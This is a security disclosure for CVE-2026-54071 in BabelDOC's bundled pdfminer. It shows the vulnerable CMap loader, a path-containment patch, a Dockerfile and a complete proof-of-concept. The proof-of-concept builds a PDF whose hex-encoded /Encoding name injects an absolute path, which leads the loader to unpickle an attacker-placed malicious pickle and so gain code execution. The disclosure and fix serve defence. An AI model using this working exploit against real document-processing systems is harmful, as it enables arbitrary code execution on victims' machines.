BabelDOC CVE-2026-54071

@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")
# line 233 - only NUL is stripped
    filename = "%s.pickle.gz" % name
# line 234 - attacker-controlled string
    ...
    for directory in cmap_paths:
        path = os.path.join(directory, filename)
# line 241 - no realpath/canonical check
        if os.path.exists(path):
            gzfile = gzip.open(path)
            try:
                return type(str(name), (), pickle.loads(gzfile.read()))
# line 245 - unconditional pickle

--- a/babeldoc/pdfminer/cmapdb.py
+++ b/babeldoc/pdfminer/cmapdb.py
@@
         cmap_paths = (
             os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
             os.path.join(os.path.dirname(__file__), "cmap"),
         )
         for directory in cmap_paths:
-            path = os.path.join(directory, filename)
+            base_dir = os.path.realpath(directory)
+            path = os.path.realpath(os.path.join(base_dir, filename))
+            try:
+                if os.path.commonpath([base_dir, path]) != base_dir:
+                    continue
+            except ValueError:
+                continue
             if os.path.exists(path):
                 gzfile = gzip.open(path)

# From the repository root
docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .
docker run --rm vuln-001-babeldoc-cmap

python3 -m venv /tmp/babeldoc-poc-venv
source /tmp/babeldoc-poc-venv/bin/activate
pip install freetype-py==2.5.1 charset-normalizer cryptography
export PYTHONPATH=/path/to/BabelDOC
python3 poc.py

import gzip, pathlib, pickle, sys

CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF    = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE       = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
# Step 1 - write the malicious pickle to a world-writable location
class MaliciousPayload:
    def __reduce__(self):
        return (pathlib.Path(str(PROOF_FILE)).write_text,
                ("RCE_CONFIRMED: pickle.loads executed attacker payload",))

CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
    pickle.dump(MaliciousPayload(), fh)
# Step 2 - craft a PDF whose /Encoding name hex-encodes the absolute path
# "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"
# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...
# Full source in poc.py
# Step 3 - trigger via the pdfminer high-level API
from babeldoc.pdfminer.high_level import extract_text
try:
    extract_text(str(MALICIOUS_PDF))
except TypeError:
    pass
# expected: type(name, (), <int>) fails after write_text returns int
# Step 4 - verify
assert PROOF_FILE.exists(), "FAIL: proof file not created"
print(PROOF_FILE.read_text())
# => "RCE_CONFIRMED: pickle.loads executed attacker payload"

[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz
[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf
[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...
[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int
[*] This exception is expected; the payload ran before it.

============================================================
RESULT: PASS
Proof file: /tmp/babeldoc_cmap_rce_proof.txt
Content:    'RCE_CONFIRMED: pickle.loads executed attacker payload'
============================================================

PDF /Encoding  /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious
  -> pdfminer hex-decodes #2F -> '/'
  -> literal_name = "/tmp/babeldoc-cmap-poc/malicious"
  -> CMapDB._load_data("/tmp/babeldoc-cmap-poc/malicious")
  -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"
# absolute path!
  -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
     == "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"
# first arg discarded
  -> gzip.open() + pickle.loads() -> arbitrary code execution

FROM python:3.11-slim
# Install system-level dependencies for freetype
RUN apt-get update && apt-get install -y --no-install-recommends \
    libfreetype6 \
    && rm -rf /var/lib/apt/lists/*
# Install minimal Python dependencies required by babeldoc/pdfminer
RUN pip install --no-cache-dir \
    freetype-py==2.5.1 \
    charset-normalizer \
    cryptography
# Copy the BabelDOC repository (only babeldoc package directory is needed)
COPY repo/babeldoc /app/babeldoc
# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py

WORKDIR /app
# PYTHONPATH exposes babeldoc package without a full pip install
ENV PYTHONPATH=/app

CMD ["python3", "poc.py"]

"""
PoC: CMap Pickle Deserialization via Absolute Path Injection
CVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2

Vulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes
from the CMap name before building a filesystem path.  A PDF name object
using #xx hex-encoding can inject absolute path characters (/) so that
os.path.join() discards the trusted cmap directory entirely, opening and
unpickling an attacker-placed .pickle.gz file.

Attack flow:
  PDF /Encoding  /#2Ftmp#2F...#2Fmalicious
    -> pdfminer hex-decodes #2F -> '/'
    -> literal_name() returns "/tmp/.../malicious"
    -> _load_data("/tmp/.../malicious")
    -> filename = "/tmp/.../malicious.pickle.gz"   (absolute path!)
    -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
       == "/tmp/.../malicious.pickle.gz"            (Python discards first arg)
    -> gzip.open() + pickle.loads() => arbitrary code execution
"""

import gzip
import os
import pathlib
import pickle
import sys
# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
# ---------------------------------------------------------------------------
# Step 1: Build the malicious pickle payload
# ---------------------------------------------------------------------------
class MaliciousPayload:
    """Pickle payload that writes a proof file on deserialization."""

    def __reduce__(self):
# Write proof file when unpickled; any writable command works here.
        return (
            pathlib.Path(str(PROOF_FILE)).write_text,
            ("RCE_CONFIRMED: pickle.loads executed attacker payload",),
        )


def create_malicious_pickle():
    CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
    PROOF_FILE.unlink(missing_ok=True)

    with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
        pickle.dump(MaliciousPayload(), fh)

    print(f"[+] Malicious pickle written: {MALICIOUS_PICKLE}")
# ---------------------------------------------------------------------------
# Step 2: Build the malicious PDF
# ---------------------------------------------------------------------------
def create_malicious_pdf():
    """
    Craft a minimal PDF with a Type0 CID font whose /Encoding name is a
    PDF literal that hex-encodes an absolute Unix path.

    PDF name syntax: /<characters>  where #xx is hex escape for byte 0xxx.
    "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to the name value
    "/tmp/babeldoc-cmap-poc/malicious" (starts with '/').

    When passed through babeldoc/pdfminer:
      literal_name(PSLiteral) -> "/tmp/babeldoc-cmap-poc/malicious"
      _load_data()  -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"
      os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
        => "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"  (absolute wins!)
    """
# Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious
# '#2F' = '/' in PDF name hex encoding
    encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

    content_stream = b"BT\n/F1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\n"
# PDF objects (1-indexed)
    objs = [
# 1: Catalog
        b"<< /Type /Catalog /Pages 2 0 R >>",
# 2: Pages
        b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
# 3: Page - references content stream (4) and font (5)
        b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]"
        b" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>",
# 4: Content stream
        b"<< /Length %d >>\nstream\n" % len(content_stream)
        + content_stream
        + b"\nendstream",
# 5: Type0 font with malicious /Encoding name
        b"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont"
        b" /Encoding " + encoding_name + b""
        b" /DescendantFonts [6 0 R] >>",
# 6: CIDFontType2 descendant
        b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont"
        b" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)"
        b" /Supplement 0 >> /FontDescriptor 7 0 R >>",
# 7: FontDescriptor (minimal)
        b"<< /Type /FontDescriptor /FontName /MalFont /Flags 4"
        b" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0"
        b" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>",
    ]

    buf = bytearray(b"%PDF-1.4\n")
    offsets = []
    for i, obj_data in enumerate(objs, 1):
        offsets.append(len(buf))
        buf += f"{i} 0 obj\n".encode() + obj_data + b"\nendobj\n"

    xref_offset = len(buf)
    buf += f"xref\n0 {len(objs) + 1}\n0000000000 65535 f \n".encode()
    for off in offsets:
        buf += f"{off:010d} 00000 n \n".encode()
    buf += (
        f"trailer\n<< /Size {len(objs) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n"
    ).encode()

    MALICIOUS_PDF.write_bytes(bytes(buf))
    print(f"[+] Malicious PDF written: {MALICIOUS_PDF}")
# ---------------------------------------------------------------------------
# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text
# ---------------------------------------------------------------------------
def trigger_exploit():
    from babeldoc.pdfminer.high_level import extract_text

    print(f"[*] Calling extract_text({MALICIOUS_PDF}) ...")
    try:
        result = extract_text(str(MALICIOUS_PDF))
        print(f"[+] extract_text completed, returned {len(result)} chars")
    except Exception as exc:
# A TypeError is expected: after pickle.loads() returns the result of
# write_text() (an int), the code tries type(name, (), <int>) which
# raises TypeError.  The write has already happened at this point.
        print(f"[*] extract_text raised {type(exc).__name__}: {exc}")
        print("[*] This exception is expected; the payload ran before it.")
# ---------------------------------------------------------------------------
# Step 4: Verify RCE evidence
# ---------------------------------------------------------------------------
def verify_rce():
    if PROOF_FILE.exists():
        content = PROOF_FILE.read_text()
        print()
        print("=" * 60)
        print("RESULT: PASS")
        print(f"Proof file: {PROOF_FILE}")
        print(f"Content:    {content!r}")
        print("=" * 60)
        return True
    else:
        print()
        print("=" * 60)
        print("RESULT: FAIL")
        print(f"Proof file {PROOF_FILE} was NOT created.")
        print("=" * 60)
        return False
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
    print("=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===")
    print(f"Python: {sys.version}")
    print()

    create_malicious_pickle()
    create_malicious_pdf()
    trigger_exploit()
    success = verify_rce()

    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()